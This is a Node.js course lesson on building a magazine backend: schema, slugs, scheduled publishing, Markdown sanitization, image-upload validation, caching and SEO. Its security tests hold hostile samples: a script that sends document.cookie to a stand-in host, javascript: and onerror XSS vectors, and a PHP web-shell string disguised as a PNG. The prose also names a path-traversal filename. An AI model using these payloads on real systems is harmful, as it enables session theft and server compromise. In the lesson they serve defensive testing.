The third satellite product is Escena Viva's magazine: reviews of the shows, interviews with the artists of the Festival de Jazz de Primavera (evt-003), features about the staging work at Teatro Almendra. The organizers of each venue write it, along with a few outside contributors; thousands of people read it after arriving from search engines and social networks.
The genuinely new idea in this project is content: text a human writes that has to be rendered without opening a security hole, files the user uploads that lie about what they are, and a traffic pattern that is the inverse of everything so far — here there are thousands of reads for every write, and that changes the entire architecture.
Contents
- The business requirement
- Design decisions and rejected alternatives
- The data model
- Slugs: generation, uniqueness and why they never change
- Editorial flow: drafts, versions and scheduled publishing
- Markdown and the real danger of HTML
- The technical challenge: uploading and processing images
- Read performance: ETag, Redis and denormalization
- Search, pagination and moderated comments
- SEO and feeds
- Testing and what stays out of scope
- The business requirement
- An organizer writes an article in Markdown, saves it as a draft and revises it as many times as they like.
- They can schedule publication: the opening-night review goes out at 09:00 the next day, not whenever the author happens to be awake.
- An article can reference a catalog event (
evt-003) to link to its page and its tickets. - Anonymous readers read published articles, very fast and very often; authenticated ones comment, subject to moderation.
- All published content must be indexable: stable URLs, sitemap, RSS and metadata.
- Design decisions and rejected alternatives
| Decision | Rejected alternative | Why |
|---|---|---|
| MongoDB (M7) for articles | PostgreSQL, like the store | An article is a document with a variable structure. There are no cross-entity transactions and no money, and its text index gives us search for free |
| Raw Markdown, rendered on the server | Storing the already-rendered HTML | Markdown is the editable source; HTML is a derivative. If you switch renderers or find a sanitization bug, you regenerate. The other way around you cannot |
| Render on the server and cache the HTML | Render in the browser | SEO demands served HTML, and rendering on every read wastes CPU when the content changes once a day |
Immutable slug with redirects |
Regenerating the slug when the title is edited | A slug that changes breaks every external link and sinks your ranking |
| Status draft/scheduled/published/archived | A published boolean |
"Scheduled" and "archived" do not fit in a boolean, and they are real requirements |
| Images to object storage | Local disk | The PaaS filesystem is ephemeral (M11): one deployment wipes them |
| Thumbnails in the queue | Processing inside the request | sharp is CPU-intensive; three sizes inside the request block the loop (M10) |
- The data model
// src/repositories/schemas/article.js
const articleSchema = new Schema({
slug: { type: String, required: true, unique: true },
title: { type: String, required: true, maxlength: 160 }, summary: { type: String },
markdownBody: { type: String, required: true }, // the editable source
htmlBody: String, // derived and sanitized (section 6)
status: { type: String, default: 'draft',
enum: ['draft', 'scheduled', 'published', 'archived'] },
authorId: { type: String, required: true },
authorName: { type: String, required: true }, // denormalized (section 8)
tags: { type: [String], default: [] },
eventId: { type: String, default: null }, // 'evt-003'
venueId: { type: String, default: null }, // 'teatro-almendra'
coverImage: { key: String, width: Number, altText: String },
publishedAt: { type: Date, default: null }, scheduledFor: { type: Date, default: null },
versions: { type: [versionSchema], default: [] },
version: { type: Number, default: 1 } }, { timestamps: true }); // version → ETag
articleSchema.index({ status: 1, publishedAt: -1 }); // the main query
articleSchema.index({ tags: 1, publishedAt: -1 });
articleSchema.index({ eventId: 1, publishedAt: -1 });
// Text index for search (section 9); the weights prioritize the title.
articleSchema.index({ title: 'text', summary: 'text', markdownBody: 'text' },
{ weights: { title: 10, summary: 5, markdownBody: 1 }, default_language: 'english' });There are two more collections: comments and redirects (oldSlug → newSlug). Comments are not embedded in the article: a MongoDB document has a 16 MB limit and, more to the point, a popular article with 800 comments would make every read load all 800. Each element of versions stores number, title, markdownBody, authorId and savedAt.
- Slugs: generation, uniqueness and why they never change
This very course's repository demands it and the browser is grateful for it: no ñ, accents, · or apostrophes in URLs.
// src/services/slugs.js — the unique index on slug is the final guarantee
// strict drops anything that is not alphanumeric or a hyphen; locale 'es'
// turns 'ñ' into 'n' and 'ó' into 'o'. Cutting at 80 keeps URLs readable.
const generateBaseSlug = (title) =>
slugify(title, { lower: true, strict: true, locale: 'es', trim: true }).slice(0, 80);
async function generateUniqueSlug({ articleRepository, title }) {
const base = generateBaseSlug(title);
let candidate = base; let suffix = 1;
while (await articleRepository.slugExists(candidate)) { // 2 or 3 rounds at most
suffix += 1; candidate = `${base}-${suffix}`;
}
return candidate;
}
module.exports = { generateBaseSlug, generateUniqueSlug };'Live at Sala Bóveda: the night the Festival de Jazz shook the room' produces live-at-sala-boveda-the-night-the-festival-de-jazz-shook-the-room. The loop has a theoretical race (two authors with the same title at the same instant) that is solved by catching the duplicate key error and retrying: the prior check is an optimization, the database constraint is the truth. Why a slug never changes. The moment you swap /magazine/jazz-review for something else, every external link returns 404, the search engine loses the article's history and you start from zero, and whoever shared it is sharing a broken link forever. If the title genuinely changes, the rule is to create the new slug and store a permanent 301 redirect from the old one.
The GET /:slug route first looks for the published article; if it does not find it, it queries redirects and answers res.redirect(301, ...); and only if there is no redirect either does it throw ResourceNotFound. 301 and not 302: a 301 transfers ranking to the destination and clients cache it; a 302 transfers nothing.
- Editorial flow: drafts, versions and scheduled publishing
| From → to | Who | Effect |
|---|---|---|
| draft → scheduled | Author or administrator | Enqueues a delayed job with scheduledFor |
| draft → published | Author or administrator | publishedAt = now, renders HTML, invalidates cache |
| scheduled → draft | Author or administrator | Cancels the enqueued job |
| scheduled → published | The system (queue job) | Same as publishing by hand |
| published → archived | Administrator | Stops being listed; the slug redirects or returns 410 |
Who may perform each transition is decided by the pure policy from M8, not by an if in the controller. Scheduled publishing uses BullMQ delayed jobs (M10).
// src/services/publishing.js
async function schedulePublication({ article, when, editorialQueue }) {
const delayMs = new Date(when).getTime() - Date.now();
if (delayMs <= 0) throw new ValidationError('DATE_IN_THE_PAST', { when });
await editorialQueue.add('publish-article', { articleId: article.id },
{ delay: delayMs, attempts: 3, removeOnComplete: 100,
jobId: `publish-${article.id}` }); // deterministic: rescheduling replaces it
return articleRepository.update(article.id,
{ status: 'scheduled', scheduledFor: when });
}
// The consumer (separate process, M10/M11) REVALIDATES the status before acting:
// if the author moved the article back to draft and the job was not cancelled
// cleanly, publishing blindly would push a withdrawn text into the world.
new Worker('editorial', async ({ data }) => {
const article = await articleRepository.get(data.articleId);
if (article?.status !== 'scheduled') return { skipped: true };
await publishingService.publish(article);
}, { connection });Version history. Every save of an already-published article pushes the previous version onto the versions array, capped at the last 20. It costs almost nothing and it prevents the classic disaster: somebody pastes into the wrong place, saves, and two hours of writing are gone. Keeping versions is easier than regretting it.
- Markdown and the real danger of HTML
markdown-it turns Markdown into HTML. The problem is that Markdown accepts raw HTML by design: if an author writes <script>...</script>, it comes out untouched. And "our authors are trustworthy" is a premise that lasts until an outside contributor gets an account or until an organizer's account is compromised. Disabling HTML (html: false) is not enough: vectors like [text](javascript:alert(1)) remain. The correct defense has two layers: render with HTML disabled and sanitize the result with an allowlist.
// src/services/renderer.js
const md = new MarkdownIt({ html: false, linkify: true, typographer: true });
const SANITIZE_OPTIONS = {
// ALLOWLIST: only what is enumerated survives. A denylist always falls
// short the moment a new tag or a new attribute appears.
allowedTags: ['h2', 'h3', 'h4', 'p', 'blockquote', 'ul', 'ol', 'li', 'strong', 'em',
'code', 'pre', 'a', 'img', 'figure', 'figcaption', 'table', 'thead', 'tbody', 'tr',
'th', 'td', 'hr', 'br'],
allowedAttributes: { a: ['href', 'title', 'rel', 'target'], code: ['class'],
img: ['src', 'alt', 'width', 'height', 'loading'] },
allowedSchemes: ['http', 'https', 'mailto'], // no javascript: and no data:
allowedSchemesByTag: { img: ['https'] },
// External links never without rel, or we expose window.opener.
transformTags: { img: sanitizeHtml.simpleTransform('img', { loading: 'lazy' }),
a: sanitizeHtml.simpleTransform('a', { rel: 'noopener noreferrer nofollow' }) },
};
const renderArticle = (body) => sanitizeHtml(md.render(body), SANITIZE_OPTIONS);
module.exports = { renderArticle, SANITIZE_OPTIONS };Rendering happens on save and on publish, not on every read: the sanitized HTML is stored in htmlBody. That has a consequence people sometimes forget: if tomorrow you discover your allowlist was letting something through, fixing the options is not enough, you have to regenerate every htmlBody with a script, and always keeping the original Markdown is what makes that possible. And the golden rule from M8: escape on output everything that does not go through this pipeline — the title, the author's name, a comment.
- The technical challenge: uploading and processing images
A photo of Sala Bóveda arrives from the browser, and everything the client says about it is potentially a lie.
Step 1: limits before anything else. multer is configured with memoryStorage() — we never touch disk, the PaaS one is ephemeral — and with limits: { fileSize: 8 MB, files: 5, fields: 10, parts: 20 }. Its fileFilter discards the obvious cases by Content-Type without reading the content, but it is not the real validation: the client chooses that header.
Step 2: validate the real type by magic number. This is exactly lesson 03-06 from M3. Neither the extension nor the Content-Type proves anything, because the attacker picks them; the first bytes of the file, they do not.
// src/services/image-validation.js
// Signatures of the formats we accept (M3: Buffers and magic numbers).
const SIGNATURES = [
{ type: 'image/jpeg', extension: 'jpg', bytes: [0xff, 0xd8, 0xff] },
{ type: 'image/png', extension: 'png',
bytes: [0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a] },
{ type: 'image/webp', extension: 'webp', bytes: [0x52, 0x49, 0x46, 0x46],
extra: (b) => b.subarray(8, 12).toString('ascii') === 'WEBP' },
];
function detectRealType(buffer) {
for (const signature of SIGNATURES) {
if (!buffer.subarray(0, signature.bytes.length).equals(Buffer.from(signature.bytes))) continue;
if (signature.extra && !signature.extra(buffer)) continue;
return { type: signature.type, extension: signature.extension };
}
return null; // no known signature: not an image we accept
}
validateImage wraps detectRealType: if no signature is recognized it throws CONTENT_NOT_AN_IMAGE, and if the detected type does not match the declared mimetype it throws INCONSISTENT_TYPE — because a file that claims to be a PNG and is something else inside is not a user mistake, it is an attempt.
Step 3: the server picks the name. file.originalname may be ../../../etc/passwd or setup.jpg.php; it is never used to build a path, or for anything other than being displayed escaped. The object key is generated: `magazine/${articleId}/${randomUUID()}.${extension}`, with the extension derived from the actual content. If the image went to disk in development, the path goes through M3's resolveWithin; in production it goes to object storage and is served with a short-lived signed URL or from a CDN, never from the container's disk (M11).
Step 4: the sizes are generated in the queue, because processing three versions of an 8 MB photo inside the request blocks the process and blows up the p99 (M10).
// src/queues/images.js — consumer, a separate process
const SIZES = [{ name: 'thumbnail', width: 320 }, { name: 'content', width: 960 },
{ name: 'cover', width: 1600 }];
new Worker('images', async ({ data }) => {
const original = await storage.download(data.originalKey);
const generated = [];
for (const size of SIZES) {
const output = await sharp(original)
.rotate() // respects the EXIF orientation
.resize({ width: size.width, withoutEnlargement: true })
.webp({ quality: 82 }).toBuffer();
const key = data.originalKey.replace(/\.(\w+)$/, `-${size.name}.webp`);
await storage.upload(key, output, 'image/webp');
generated.push({ name: size.name, key, width: size.width });
}
await articleRepository.recordImages(data.articleId, generated);
}, { connection, concurrency: 2 });The side effect is worth underlining: by re-encoding with sharp, the published file is a new one we generated, not the one the user uploaded; that also strips the EXIF metadata (geolocation included) and neutralizes polyglots and embedded payloads.
- Read performance: ETag, Redis and denormalization
An article is written once and read fifty thousand times. Three layers, from the cheapest to the most expensive:
flowchart LR
N["Browser"] -->|"If-None-Match"| C["CDN / proxy"]
C -->|"304 or body"| N
C -->|"cache miss"| A["Express API"]
A --> R[("Redis")]
R -->|"hit"| A
A -->|"miss"| M[("MongoDB")]
Layer 1: HTTP headers (M4). Whoever already has the article should not download it again:
function sendArticle(res, article) {
// The ETag is derived from the content: it changes only if the article does.
// s-maxage separates CDN from browser; stale-while-revalidate serves slightly
// stale content while it revalidates, so the reader never waits.
res.set('ETag', `"art-${article.id}-${article.version}"`);
res.set('Cache-Control', 'public, max-age=60, s-maxage=300, stale-while-revalidate=600');
return res.json(article);
}Express 5 compares the ETag with the incoming If-None-Match and answers 304 with no body: about 200 bytes instead of the article's 40 KB. Layer 2: Redis with invalidation (M10), cache-aside keyed by slug:
// src/services/article-reading.js
const KEY = (slug) => `article:published:${slug}`;
async function getPublishedArticle({ slug, redis, articleRepository }) {
const cached = await redis.get(KEY(slug));
if (cached) return JSON.parse(cached);
const article = await articleRepository.findPublishedBySlug(slug);
if (!article) return null;
// TTL as a safety net; explicit invalidation is the real mechanism.
await redis.set(KEY(slug), JSON.stringify(article), 'EX', 600);
return article;
}
async function invalidateArticle({ slug, redis }) {
// The listings contain the article too: they have to go.
await redis.del(KEY(slug), 'magazine:home', 'magazine:sitemap', 'magazine:rss');
}Invalidation fires on publish, on editing a published article and on archiving. The usual mistake is trusting the TTL alone: an article with a visible typo for ten minutes is what makes the editorial team stop trusting the tool. Layer 3: denormalize the author's name. The article stores authorName, not just authorId. Duplicating data is usually a bad idea, but here it saves a query (or a $lookup) on each of those fifty thousand reads, the name almost never changes, and when it does a queue job updates their articles and invalidates the cache. The general rule: denormalize when the datum is stable, reads are massive and you can name who is responsible for updating it.
- Search, pagination and moderated comments
The text index from section 3 gives decent search with no extra infrastructure, and the listing uses cursor pagination (M10), not skip:
const searchArticles = ({ query, limit = 10 }) => ArticleModel
.find({ $text: { $search: query }, status: 'published' },
{ score: { $meta: 'textScore' } })
.sort({ score: { $meta: 'textScore' } }).limit(limit).lean();
async function listPublished({ cursor, limit = 12, tag }) {
const filter = { status: 'published' };
if (tag) filter.tags = tag;
if (cursor) filter.publishedAt = { $lt: new Date(cursor) }; // cursor, not skip
// The select matters: do not load markdownBody or versions for a card-based
// home page. It is the difference between shipping 8 KB and 800 KB per page.
const docs = await ArticleModel.find(filter)
.select('slug title summary authorName publishedAt tags coverImage')
.sort({ publishedAt: -1 }).limit(limit + 1).lean();
const page = docs.slice(0, limit); // the extra one only tells us if there is more
return { articles: page.map(toDomainSummary),
nextCursor: docs.length > limit ? page.at(-1).publishedAt.toISOString() : null };
}MongoDB $text |
Elasticsearch / OpenSearch |
|---|---|
| Per-language stemming, per-field weights | Configurable analyzers, synonyms, typo tolerance |
| One text index per collection, no highlighting | Multiple indexes, highlighting, suggestions and facets |
| Zero extra infrastructure | One more cluster to operate and pay for |
With a few thousand articles, $text is the right choice; you switch when requirements for "did you mean", combined facets or highlighting appear, and migrating is easy if search lives behind a repository interface (M7). Comments. An open system with no defenses fills up with garbage in days. The layers that work: mandatory authentication (removes 90% of the automated noise), the rate limiting from M6 (5 every 10 minutes), zod validation (z.string().trim().min(2).max(2000) plus a .refine() that rejects more than two links), a moderation queue with the pending status by default, and escaping on output: comments do not go through Markdown, they are escaped plain text.
- SEO and feeds
With the previous pieces in place this almost writes itself, and it is what connects the magazine to the real world of the portal:
// src/routes/feeds.js — the sitemap is cached in Redis and invalidated on publish
routes.get('/sitemap.xml', async (req, res) => {
const cached = await redis.get('magazine:sitemap');
if (cached) return res.type('application/xml').send(cached);
const articles = await articleRepository.allPublished();
const xml = ['<?xml version="1.0" encoding="UTF-8"?>',
'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">',
// lastmod = date of the last edit, just like the portal's sitemap.
...articles.map((a) => `<url><loc>${configuration.publicUrl}/magazine/${a.slug}</loc>` +
`<lastmod>${a.updatedAt.toISOString().slice(0, 10)}</lastmod></url>`),
'</urlset>'].join('\n');
await redis.set('magazine:sitemap', xml, 'EX', 3600);
return res.type('application/xml').send(xml);
});The same goes for /rss.xml (with one <item> per article) and for the Open Graph metadata derived from title, summary and coverImage. A detail that ruins sitemaps: you must escape the XML (&, <, >) inside titles; one loose ampersand invalidates the whole document.
- Testing and what stays out of scope
describe('magazine', () => {
it('sanitizes malicious HTML embedded in the Markdown', () => {
const html = renderArticle(
'Hello <script>fetch("//evil.test?c="+document.cookie)</script>\n\n' +
'[click here](javascript:alert(1))\n\n<img src=x onerror="alert(1)">');
expect(html).to.not.include('<script');
expect(html).to.not.include('javascript:');
expect(html).to.not.include('onerror');
});
it('rejects a file that claims to be a PNG and is not', async () => {
await request(createApplication())
.post('/api/v1/magazine/articles/art-1/images')
.set('Authorization', `Bearer ${organizerToken}`)
.attach('image', Buffer.from('<?php system($_GET[0]); ?>'),
{ filename: 'photo.png', contentType: 'image/png' })
.expect(400)
.expect((r) => expect(r.body.error.code).to.equal('CONTENT_NOT_AN_IMAGE'));
});
});Four short ones are missing: that an article moved back to draft is not published when its delayed job runs, that a second request with If-None-Match returns 304, that generateBaseSlug produces URLs free of accents and ñ, and that publishing invalidates the Redis key. But the first one is the most valuable in the project: a security test that runs on every git push (M11, CI) and stops a dependency upgrade from reopening an XSS.
| Out | Why | Extension |
|---|---|---|
| Visual editor (WYSIWYG) | It is front-end, and a lot of it | A block editor that emits Markdown; the server does not change |
| Multilingual articles | A different model (translation groups, hreflang) | A translations collection with a groupId |
| Live collaboration on a draft | Requires CRDT or OT, another course entirely | The Socket.IO from 12-01 + Yjs |
Common Mistakes and Tips
- Trusting the
Content-Typeor the extension. You already knew this from M3; here is where it bites: the magic number is the only real proof of a file's type. - Using
originalnameto build the storage path. Path traversal served on a plate: always a generated name. And do not render the Markdown on every read: render on save, cache the HTML and always keep the original so you can regenerate. - Sanitizing with a denylist. Banning
<script>is not enough:<iframe>,<object>,onmouseover,srcdocremain… Allowlist or nothing. Do not change a slug without a redirect either, or cache without invalidating: a TTL is a safety net, not a strategy. - Tip: cap the
versionsarray. A MongoDB document that grows without limit eventually hits the 16 MB wall, and the failure arrives at the worst possible moment.
Exercises
-
Redirect on rename. Implement the slug change of a published article: generate the new one, store the redirect from the old one, invalidate the caches and return 301 on the old slug. Add a test for the complete chain.
-
Reputation-based antispam. Implement the rule "a user with 3 approved comments publishes directly"; everyone else lands as
pending. Test it with a new user and with a veteran one. -
Restoring a version. Implement
POST /articles/:id/versions/:number/restore, which copies that version onto the current article after saving the one in force. Author or administrator only.
Solutions
1. Redirect on rename
async function renameSlug({ articleId, newTitle, actor }) {
const article = await articleRepository.get(articleId);
policy.require('article:edit', { actor, resource: article }); // M8
const newSlug = await generateUniqueSlug({ articleRepository, title: newTitle });
if (newSlug === article.slug) return article;
const oldSlug = article.slug;
const updated = await articleRepository.update(articleId,
{ slug: newSlug, title: newTitle, $inc: { version: 1 } });
// The redirect is created AFTER the article releases the old slug.
await redirectRepository.create({ oldSlug, newSlug, createdAt: new Date() });
await invalidateArticle({ slug: oldSlug, redis });
await invalidateArticle({ slug: newSlug, redis });
return updated;
}The test requests the old slug and expects a 301 with Location: /magazine/live-at-sala-boveda, and checks that the Redis key for the old slug no longer exists.
2. Reputation-based antispam
const APPROVED_FOR_TRUST = 3;
async function createComment({ articleId, author, text }) {
const approved = await commentRepository.countApprovedFor(author.id);
const status = approved >= APPROVED_FOR_TRUST ? 'published' : 'pending';
const comment = await commentRepository.create({ articleId, authorId: author.id,
authorName: author.name, text, status, createdAt: new Date().toISOString() });
// We only invalidate if it is published: if it stays pending, the cache is fine.
if (status === 'pending') await moderationQueue.add('review-comment',
{ commentId: comment.id });
else await redis.del(`comments:${articleId}`);
return comment;
}The tests are straightforward: a freshly registered user gets 'pending'; another with three seeded approved comments gets 'published'.
3. Restoring a version
async function restoreVersion({ articleId, number, actor }) {
const article = await articleRepository.get(articleId);
if (!article) throw new ResourceNotFound('ARTICLE_NOT_FOUND', { articleId });
policy.require('article:edit', { actor, resource: article });
const version = article.versions.find((v) => v.number === Number(number));
if (!version) throw new ResourceNotFound('VERSION_NOT_FOUND', { number });
// Before overwriting, the one in force is archived: restoring is reversible.
const current = { number: (article.versions.at(-1)?.number ?? 0) + 1,
title: article.title, markdownBody: article.markdownBody,
authorId: actor.id, savedAt: new Date() };
const updated = await articleRepository.update(articleId, {
title: version.title, markdownBody: version.markdownBody,
// Re-sanitized with the CURRENT allowlist, not the one from six months ago.
htmlBody: renderArticle(version.markdownBody),
$push: { versions: { $each: [current], $slice: -20 } }, // keeps the cap
$inc: { version: 1 } });
await invalidateArticle({ slug: article.slug, redis });
return updated;
}Conclusion
Escena Viva's magazine looked like the simplest of the four projects and has turned out to be the one with the largest attack surface. You have seen that content written by humans is hostile data until proven otherwise: Markdown accepts HTML and must be sanitized with an allowlist, an uploaded file is not what it claims to be and you have to look at its bytes, and the name the client sends never touches a filesystem path.
You have also flipped the performance axis. In the store the expensive part was writing and the delicate part was consistency; here the expensive part is repeated reading, and the answer is a three-layer stack — ETag and Cache-Control at the edge, Redis with explicit invalidation in the middle, controlled denormalization in the model — each one cheaper than the next. And you have set an honest limit on search with $text: enough today, replaceable tomorrow because it sits behind a repository. In the last project lesson we turn back inside the company. The Escena Viva team's internal tool brings the challenge of collaboration: permissions that depend on membership of a space and not only on a role, two people editing the same task at once, an activity log as the source of truth, and notifications that have to be grouped so nobody drowns in email.
Node.js Course: From Beginner to Advanced
Module 1: Introduction to Node.js
- What Is Node.js?
- Installing and Setting Up the Environment
- Your First Node.js Program
- The Node.js REPL
- Modern JavaScript for Node.js
- The Course Project: the Escena Viva Platform
Module 2: Core Concepts
- Node.js Architecture
- The Event Loop
- Callbacks and Asynchronous Programming
- Promises and async/await
- Events and EventEmitter
- CommonJS Modules and require()
- ES Modules and Interoperability
Module 3: File System and I/O
- Reading and Writing Files
- The fs Module in Depth
- Cross-Platform Paths with the path Module
- Working with Streams
- Transform Streams and pipeline
- Buffers and Binary Data
Module 4: HTTP and Web Servers
- Creating a Simple HTTP Server
- Handling Requests and Responses
- Manual Routing
- Serving Static Files
- Receiving Data: Request Bodies and JSON
- Consuming External APIs from Node.js
Module 5: NPM and Package Management
- Introduction to NPM and package.json
- Installing and Using Packages
- Semantic Versioning and package-lock
- npm Scripts and Project Automation
- Creating and Publishing Packages
- Dependency Security and Maintenance
Module 6: The Express.js Framework
- Introduction to Express.js
- Setting Up an Express Application
- Routing in Express
- Middleware
- Essential Third-Party Middleware
- Input Data Validation
- Error Handling
Module 7: Databases and ORMs
- Introduction to Databases
- Using MongoDB with Mongoose
- CRUD Operations
- Relationships, Population and Advanced Queries
- Using SQL Databases with Sequelize
- Migrations, Transactions and Seed Data
Module 8: Authentication and Authorization
- Introduction to Authentication
- User Registration and Password Hashing
- Sessions and Cookies with Passport.js
- Authentication with JWT
- Role-Based Access Control
- API Security Best Practices
Module 9: Testing and Debugging
- Introduction to Testing
- Unit Testing with Mocha and Chai
- Test Doubles with Sinon
- Integration Testing
- Coverage and Test Automation
- Debugging Node.js Applications
Module 10: Advanced Topics
- The Cluster Module
- Worker Threads
- Caching and Job Queues with Redis
- Performance Optimization
- Building RESTful APIs
- GraphQL with Node.js
Module 11: Deployment and DevOps
- Configuration and Environment Variables
- Logging and Monitoring in Production
- Using PM2 for Process Management
- Packaging with Docker
- Deploying to Heroku and Other PaaS
- Continuous Integration and Deployment
